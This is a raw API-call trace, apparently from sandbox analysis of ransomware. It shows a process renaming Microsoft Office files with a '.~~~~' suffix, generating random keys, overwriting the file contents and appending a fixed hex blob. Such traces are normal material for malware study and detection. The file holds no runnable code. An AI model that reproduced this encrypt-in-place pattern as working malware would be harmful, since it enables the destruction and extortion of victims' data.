	[0130.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif.~~~~")) returned 1
	[0130.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.461] GetLastError () returned 0x0
	[0130.461] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.462] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.462] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.463] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25045282899) returned 1
	[0130.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7346b90, dwHighDateTime=0x1d60e1e)) 
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823090
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823090 | out: hHeap=0x300000) returned 1
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3440
	[0130.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.464] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.464] GetLastError () returned 0x0
	[0130.464] GetLastError () returned 0x0
	[0130.464] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.464] GetLastError () returned 0x0
	[0130.464] GetLastError () returned 0x0
	[0130.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffee4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.466] WriteFile (in: hFile=0x130, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x11c, lpOverlapped=0x0) returned 1
	[0130.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.468] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.468] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.468] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.468] CloseHandle (hObject=0x130) returned 1
	[0130.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.468] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif.~~~~")) returned 1
	[0130.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.470] GetLastError () returned 0x0
	[0130.470] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.568] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.569] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25055867115) returned 1
	[0130.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7451530, dwHighDateTime=0x1d60e1e)) 
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28230c8
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28230c8 | out: hHeap=0x300000) returned 1
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3ac8
	[0130.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.569] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.570] GetLastError () returned 0x0
	[0130.570] GetLastError () returned 0x0
	[0130.570] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.580] GetLastError () returned 0x0
	[0130.581] GetLastError () returned 0x0
	[0130.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffd26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.583] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2da, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2da, lpOverlapped=0x0) returned 1
	[0130.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.589] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.590] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.590] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.590] CloseHandle (hObject=0x130) returned 1
	[0130.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.652] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif.~~~~")) returned 1
	[0130.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.655] GetLastError () returned 0x0
	[0130.674] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2a11be0) returned 1
	[0130.675] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.675] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.675] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25066550572) returned 1
	[0130.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb755bed0, dwHighDateTime=0x1d60e1e)) 
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2be50
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2be50 | out: hHeap=0x300000) returned 1
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1618
	[0130.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.676] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.677] GetLastError () returned 0x0
	[0130.677] GetLastError () returned 0x0
	[0130.677] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.677] GetLastError () returned 0x0
	[0130.677] GetLastError () returned 0x0
	[0130.680] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffcc48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.680] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x33b8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x33b8, lpOverlapped=0x0) returned 1
	[0130.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.683] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.684] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.684] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.684] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.684] CloseHandle (hObject=0x13c) returned 1
	[0130.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1618
	[0130.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.~~~~")) returned 1
	[0130.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1618 | out: hHeap=0x300000) returned 1
	[0130.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.686] GetLastError () returned 0x0
	[0130.687] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1d80) returned 1
	[0130.688] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.688] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0130.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.688] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25067819490) returned 1
	[0130.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb755bed0, dwHighDateTime=0x1d60e1e)) 
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe050
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe050 | out: hHeap=0x300000) returned 1
	[0130.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1618
	[0130.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.689] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.689] GetLastError () returned 0x0
	[0130.689] GetLastError () returned 0x0
	[0130.689] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.689] GetLastError () returned 0x0
	[0130.689] GetLastError () returned 0x0
	[0130.692] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.692] WriteFile (in: hFile=0x13c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0130.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.695] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.695] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.732] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.733] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.733] CloseHandle (hObject=0x13c) returned 1
	[0130.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.~~~~")) returned 1
	[0130.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc9f8 | out: hHeap=0x300000) returned 1
	[0130.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.754] GetLastError () returned 0x0
	[0130.755] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1368) returned 1
	[0130.756] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.756] CryptReleaseContext (hProv=0x3a1368, dwFlags=0x0) returned 1
	[0130.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.756] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25074636298) returned 1
	[0130.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb761a5b0, dwHighDateTime=0x1d60e1e)) 
	[0130.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823410
	[0130.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823410 | out: hHeap=0x300000) returned 1
	[0130.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0130.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.757] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.757] GetLastError () returned 0x0
	[0130.757] GetLastError () returned 0x0
	[0130.757] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.757] GetLastError () returned 0x0
	[0130.757] GetLastError () returned 0x0
	[0130.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffef3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.759] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x10d, lpOverlapped=0x0) returned 1
	[0130.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.761] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
